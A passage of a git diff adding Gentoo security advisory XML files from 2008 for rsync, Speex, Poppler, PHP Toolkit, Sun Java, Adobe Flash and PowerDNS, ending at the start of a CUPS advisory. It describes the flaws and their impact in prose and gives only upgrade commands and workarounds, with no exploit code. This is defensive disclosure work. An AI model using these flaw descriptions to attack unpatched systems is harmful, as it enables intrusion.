+  <product type="ebuild">rsync</product>
+  <announced>April 17, 2008</announced>
+  <revised>April 17, 2008: 01</revised>
+  <bug>216887</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.6.9-r6</unaffected>
+      <vulnerable range="lt">2.6.9-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a file transfer program to keep remote directories
+    synchronized.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of SUSE reported an integer overflow in the
+    expand_item_list() function in the file util.c which might lead to a
+    heap-based buffer overflow when extended attribute (xattr) support is
+    enabled.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a file containing specially crafted
+    extended attributes to an rsync deamon, or entice a user to sync from
+    an rsync server containing specially crafted files, possibly leading to
+    the execution of arbitrary code.
+    </p>
+    <p>
+    Please note that extended attributes are only enabled when USE="acl" is
+    enabled, which is the default setting.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable extended attributes in the rsync daemon by setting "<i>refuse
+    options = xattrs</i>" in the file "/etc/rsyncd.conf" (or append
+    "xattrs" to an existing "refuse" statement). When synchronizing to a
+    server, do not provide the "-X" parameter to rsync. You can also
+    disable the "acl" USE flag for rsync and recompile the package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rsync users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/rsync-2.6.9-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1720">CVE-2008-1720</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Apr 2008 22:37:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 23:01:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Apr 2008 23:01:42 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-17.xml b/xml/htdocs/security/en/glsa/glsa-200804-17.xml
new file mode 100644
index 00000000..cb9fd3c9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-17.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-17">
+  <title>Speex: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Improper input validation in Speex might lead to array indexing
+    vulnerabilities in multiple player applications.
+  </synopsis>
+  <product type="ebuild">speex</product>
+  <announced>April 17, 2008</announced>
+  <revised>April 17, 2008: 01</revised>
+  <bug>217715</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/speex" auto="yes" arch="*">
+      <unaffected range="ge">1.2_beta3_p2</unaffected>
+      <vulnerable range="lt">1.2_beta3_p2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Speex is an audio compression format designed for speech that is free
+    of patent restrictions.
+    </p>
+  </background>
+  <description>
+    <p>
+    oCERT reported that the Speex library does not properly validate the
+    "mode" value it derives from Speex streams, allowing for array indexing
+    vulnerabilities inside multiple player applications. Within Gentoo,
+    xine-lib, VLC, gst-plugins-speex from the GStreamer Good Plug-ins,
+    vorbis-tools, libfishsound, Sweep, SDL_sound, and speexdec were found
+    to be vulnerable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted Speex
+    file or network stream with an application listed above. This might
+    lead to the execution of arbitrary code with privileges of the user
+    playing the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Speex users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/speex-1.2_beta3_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1686">CVE-2008-1686</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Apr 2008 09:58:14 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 17 Apr 2008 09:58:25 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Apr 2008 10:58:23 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-18.xml b/xml/htdocs/security/en/glsa/glsa-200804-18.xml
new file mode 100644
index 00000000..c8f21a6e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-18.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-18">
+  <title>Poppler: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Poppler does not handle fonts inside PDF files safely, allowing for
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">poppler</product>
+  <announced>April 17, 2008</announced>
+  <revised>April 17, 2008: 02</revised>
+  <bug>216850</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.6.3</unaffected>
+      <vulnerable range="lt">0.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Poppler is a cross-platform PDF rendering library originally based on
+    Xpdf.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Cook from the Ubuntu Security Team reported that the
+    CairoFont::create() function in the file CairoFontEngine.cc does not
+    verify the type of an embedded font object inside a PDF file before
+    dereferencing a function pointer from it.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    file with a Poppler-based PDF viewer such as Gentoo's Xpdf, Epdfview,
+    or Evince, potentially resulting in the execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1693">CVE-2008-1693</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 01:16:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 17 Apr 2008 11:28:12 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-19.xml b/xml/htdocs/security/en/glsa/glsa-200804-19.xml
new file mode 100644
index 00000000..216af3f9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-19.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-19">
+  <title>PHP Toolkit: Data disclosure and Denial of Service</title>
+  <synopsis>
+    PHP Toolkit does not quote parameters, allowing for PHP source code
+    disclosure on Apache, and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">php-toolkit</product>
+  <announced>April 17, 2008</announced>
+  <revised>April 17, 2008: 01</revised>
+  <bug>209535</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/php-toolkit" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1</unaffected>
+      <vulnerable range="lt">1.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP Toolkit is a utility to manage parallel installations of PHP within
+    Gentoo. It is executed by the PHP ebuilds at setup.
+    </p>
+  </background>
+  <description>
+    <p>
+    Toni Arnold, David Sveningsson, Michal Bartoszkiewicz, and Joseph
+    reported that php-select does not quote parameters passed to the "tr"
+    command, which could convert the "-D PHP5" argument in the
+    "APACHE2_OPTS" setting in the file /etc/conf.d/apache2 to lower case.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a system administrator to run "<i>emerge
+    php</i>" or call "<i>php-select -t apache2 php5</i>" directly in a
+    directory containing a lower case single-character named file, which
+    would prevent Apache from loading mod_php and thereby disclose PHP
+    source code and cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "emerge" or "php-select" from a working directory which
+    contains a lower case single-character named file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP Toolkit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/php-toolkit-1.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1734">CVE-2008-1734</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Apr 2008 23:54:47 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Apr 2008 13:22:11 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Apr 2008 19:26:49 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-20.xml b/xml/htdocs/security/en/glsa/glsa-200804-20.xml
new file mode 100644
index 00000000..e0b23be1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-20.xml
@@ -0,0 +1,234 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-20">
+  <title>Sun JDK/JRE: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in Sun Java Development Kit
+    (JDK) and Java Runtime Environment (JRE).
+  </synopsis>
+  <product type="ebuild">sun-jdk, sun-jre-bin, emul-linux-x86-java</product>
+  <announced>April 17, 2008</announced>
+  <revised>March 05, 2010: 06</revised>
+  <bug>178851</bug>
+  <bug>178962</bug>
+  <bug>183580</bug>
+  <bug>185256</bug>
+  <bug>194711</bug>
+  <bug>212425</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.05</unaffected>
+      <unaffected range="rge">1.5.0.21</unaffected>
+      <unaffected range="rge">1.5.0.20</unaffected>
+      <unaffected range="rge">1.5.0.19</unaffected>
+      <unaffected range="rge">1.5.0.18</unaffected>
+      <unaffected range="rge">1.5.0.17</unaffected>
+      <unaffected range="rge">1.5.0.16</unaffected>
+      <unaffected range="rge">1.5.0.15</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <vulnerable range="lt">1.6.0.05</vulnerable>
+    </package>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.05</unaffected>
+      <unaffected range="rge">1.5.0.21</unaffected>
+      <unaffected range="rge">1.5.0.20</unaffected>
+      <unaffected range="rge">1.5.0.19</unaffected>
+      <unaffected range="rge">1.5.0.18</unaffected>
+      <unaffected range="rge">1.5.0.17</unaffected>
+      <unaffected range="rge">1.5.0.16</unaffected>
+      <unaffected range="rge">1.5.0.15</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <vulnerable range="lt">1.6.0.05</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-java" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.05</unaffected>
+      <unaffected range="rge">1.5.0.21</unaffected>
+      <unaffected range="rge">1.5.0.20</unaffected>
+      <unaffected range="rge">1.5.0.19</unaffected>
+      <unaffected range="rge">1.5.0.18</unaffected>
+      <unaffected range="rge">1.5.0.17</unaffected>
+      <unaffected range="rge">1.5.0.16</unaffected>
+      <unaffected range="rge">1.5.0.15</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <vulnerable range="lt">1.6.0.05</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Sun Java:
+    </p>
+    <ul>
+    <li>Daniel Soeder discovered that a long codebase attribute string in a
+    JNLP file will overflow a stack variable when launched by Java WebStart
+    (CVE-2007-3655).</li>
+    <li>Multiple vulnerabilities (CVE-2007-2435, CVE-2007-2788,
+    CVE-2007-2789) that were previously reported as GLSA 200705-23 and GLSA
+    200706-08 also affect 1.4 and 1.6 SLOTs, which was not mentioned in the
+    initial revision of said GLSAs.</li>
+    <li>The Zero Day Initiative, TippingPoint and John Heasman reported
+    multiple buffer overflows and unspecified vulnerabilities in Java Web
+    Start (CVE-2008-1188, CVE-2008-1189, CVE-2008-1190,
+    CVE-2008-1191).</li>
+    <li>Hisashi Kojima of Fujitsu and JPCERT/CC reported a security issue
+    when performing XSLT transformations (CVE-2008-1187).</li>
+    <li>CERT/CC reported a Stack-based buffer overflow in Java Web Start
+    when using JNLP files (CVE-2008-1196).</li>
+    <li>Azul Systems reported an unspecified vulnerability that allows
+    applets to escalate their privileges (CVE-2007-5689).</li>
+    <li>Billy Rios, Dan Boneh, Collin Jackson, Adam Barth, Andrew Bortz,
+    Weidong Shao, and David Byrne discovered multiple instances where Java
+    applets or JavaScript programs run within browsers do not pin DNS
+    hostnames to a single IP address, allowing for DNS rebinding attacks
+    (CVE-2007-5232, CVE-2007-5273, CVE-2007-5274).</li>
+    <li>Peter Csepely reported that Java Web Start does not properly
+    enforce access restrictions for untrusted applications (CVE-2007-5237,
+    CVE-2007-5238).</li>
+    <li>Java Web Start does not properly enforce access restrictions for
+    untrusted Java applications and applets, when handling drag-and-drop
+    operations (CVE-2007-5239).</li>
+    <li>Giorgio Maone discovered that warnings for untrusted code can be
+    hidden under applications' windows (CVE-2007-5240).</li>
+    <li>Fujitsu reported two security issues where security restrictions of
+    web applets and applications were not properly enforced (CVE-2008-1185,
+    CVE-2008-1186).</li>
+    <li>John Heasman of NGSSoftware discovered that the Java Plug-in does
+    not properly enforce the same origin policy (CVE-2008-1192).</li>
+    <li>Chris Evans of the Google Security Team discovered multiple
+    unspecified vulnerabilities within the Java Runtime Environment Image
+    Parsing Library (CVE-2008-1193, CVE-2008-1194).</li>
+    <li>Gregory Fleischer reported that web content fetched via the "jar:"
+    protocol was not subject to network access restrictions
+    (CVE-2008-1195).</li>
+    <li>Chris Evans and Johannes Henkel of the Google Security Team
+    reported that the XML parsing code retrieves external entities even
+    when that feature is disabled (CVE-2008-0628).</li>
+    <li>Multiple unspecified vulnerabilities might allow for escalation of
+    privileges (CVE-2008-0657).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run a specially crafted applet
+    on a website or start an application in Java Web Start to execute
+    arbitrary code outside of the Java sandbox and of the Java security
+    restrictions with the privileges of the user running Java. The attacker
+    could also obtain sensitive information, create, modify, rename and
+    read local files, execute local applications, establish connections in
+    the local network, bypass the same origin policy, and cause a Denial of
+    Service via multiple vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JRE 1.6 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.6.0.05&quot;</code>
+    <p>
+    All Sun JRE 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.5.0.15&quot;</code>
+    <p>
+    All Sun JRE 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.17&quot;</code>
+    <p>
+    All Sun JDK 1.6 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.6.0.05&quot;</code>
+    <p>
+    All Sun JDK 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.5.0.15&quot;</code>
+    <p>
+    All Sun JDK 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.17&quot;</code>
+    <p>
+    All emul-linux-x86-java 1.6 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.6.0.05&quot;</code>
+    <p>
+    All emul-linux-x86-java 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.5.0.15&quot;</code>
+    <p>
+    All emul-linux-x86-java 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.4.2.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2435">CVE-2007-2435</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2788">CVE-2007-2788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2789">CVE-2007-2789</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3655">CVE-2007-3655</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5232">CVE-2007-5232</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5237">CVE-2007-5237</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5238">CVE-2007-5238</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5239">CVE-2007-5239</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5240">CVE-2007-5240</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5273">CVE-2007-5273</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5274">CVE-2007-5274</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5689">CVE-2007-5689</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0628">CVE-2008-0628</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0657">CVE-2008-0657</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1185">CVE-2008-1185</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1186">CVE-2008-1186</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1187">CVE-2008-1187</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1188">CVE-2008-1188</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1189">CVE-2008-1189</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1190">CVE-2008-1190</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1191">CVE-2008-1191</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1192">CVE-2008-1192</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1193">CVE-2008-1193</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1194">CVE-2008-1194</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1195">CVE-2008-1195</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1196">CVE-2008-1196</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-23.xml">GLSA 200705-23</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200706-08.xml">GLSA 200706-08</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 07:23:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Jul 2007 05:33:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 09 Sep 2007 23:51:30 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-21.xml b/xml/htdocs/security/en/glsa/glsa-200804-21.xml
new file mode 100644
index 00000000..271e3435
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-21.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-21">
+  <title>Adobe Flash Player: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified, the worst of which allow
+    arbitrary code execution on a user's system via a malicious Flash file.
+  </synopsis>
+  <product type="ebuild">adobe-flash</product>
+  <announced>April 18, 2008</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>204344</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">9.0.124.0</unaffected>
+      <vulnerable range="lt">9.0.124.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Adobe Flash Player is a renderer for the popular SWF file format,
+    which is commonly used to provide interactive websites, digital
+    experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Adobe Flash:
+    </p>
+    <ul>
+    <li>
+    Secunia Research and Zero Day Initiative reported a boundary error
+    related to DeclareFunction2 Actionscript tags in SWF files
+    (CVE-2007-6019).
+    </li>
+    <li>
+    The ISS X-Force and the Zero Day Initiative reported an unspecified
+    input validation error that might lead to a buffer overflow
+    (CVE-2007-0071).
+    </li>
+    <li>
+    Microsoft, UBsecure and JPCERT/CC reported that cross-domain policy
+    files are not checked before sending HTTP headers to another domain
+    (CVE-2008-1654) and that it does not sufficiently restrict the
+    interpretation and usage of cross-domain policy files (CVE-2007-6243).
+    </li>
+    <li>
+    The Stanford University and Ernst and Young's Advanced Security Center
+    reported that Flash does not pin DNS hostnames to a single IP
+    addresses, allowing for DNS rebinding attacks (CVE-2007-5275,
+    CVE-2008-1655).
+    </li>
+    <li>
+    The Google Security Team and Minded Security Multiple reported multiple
+    cross-site scripting vulnerabilities when passing input to Flash
+    functions (CVE-2007-6637).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file
+    (usually in a web browser), possibly leading to the execution of
+    arbitrary code with the privileges of the user running the Adobe Flash
+    Player. The attacker could also cause a user's machine to send HTTP
+    requests to other hosts, establish TCP sessions with arbitrary hosts,
+    bypass the security sandbox model, or conduct Cross-Site Scripting and
+    Cross-Site Request Forgery attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-9.0.124.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0071">CVE-2007-0071</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5275">CVE-2007-5275</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6019">CVE-2007-6019</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243">CVE-2007-6243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6637">CVE-2007-6637</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1654">CVE-2008-1654</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1655">CVE-2008-1655</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Apr 2008 10:39:32 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Apr 2008 01:16:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Apr 2008 01:18:41 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-22.xml b/xml/htdocs/security/en/glsa/glsa-200804-22.xml
new file mode 100644
index 00000000..36457fd2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-22.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-22">
+  <title>PowerDNS Recursor: DNS Cache Poisoning</title>
+  <synopsis>
+    Use of insufficient randomness in PowerDNS Recursor might lead to DNS cache
+    poisoning.
+  </synopsis>
+  <product type="ebuild">pdns-recursor</product>
+  <announced>April 18, 2008</announced>
+  <revised>August 21, 2008: 03</revised>
+  <bug>215567</bug>
+  <bug>231335</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/pdns-recursor" auto="yes" arch="*">
+      <unaffected range="ge">3.1.6</unaffected>
+      <vulnerable range="lt">3.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The PowerDNS Recursor is an advanced recursing nameserver.
+    </p>
+  </background>
+  <description>
+    <p>
+    Amit Klein of Trusteer reported that insufficient randomness is used to
+    calculate the TRXID values and the UDP source port numbers
+    (CVE-2008-1637). Thomas Biege of SUSE pointed out that a prior fix to
+    resolve this issue was incomplete, as it did not always enable the
+    stronger random number generator for source port selection
+    (CVE-2008-3217).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send malicious answers to insert arbitrary DNS
+    data into the cache. These attacks would in turn help an attacker to
+    perform man-in-the-middle and site impersonation attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PowerDNS Recursor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/pdns-recursor-3.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1637">CVE-2008-1637</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3217">CVE-2008-3217</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Apr 2008 20:12:08 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Apr 2008 01:27:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Apr 2008 01:27:43 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-23.xml b/xml/htdocs/security/en/glsa/glsa-200804-23.xml
new file mode 100644
index 00000000..948fae73
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-23.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-23">
+  <title>CUPS: Integer overflow vulnerability</title>
+  <synopsis>
+    A vulnerability in CUPS might allow for the execution of arbitrary code or
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>April 18, 2008</announced>
+  <revised>April 18, 2008: 01</revised>
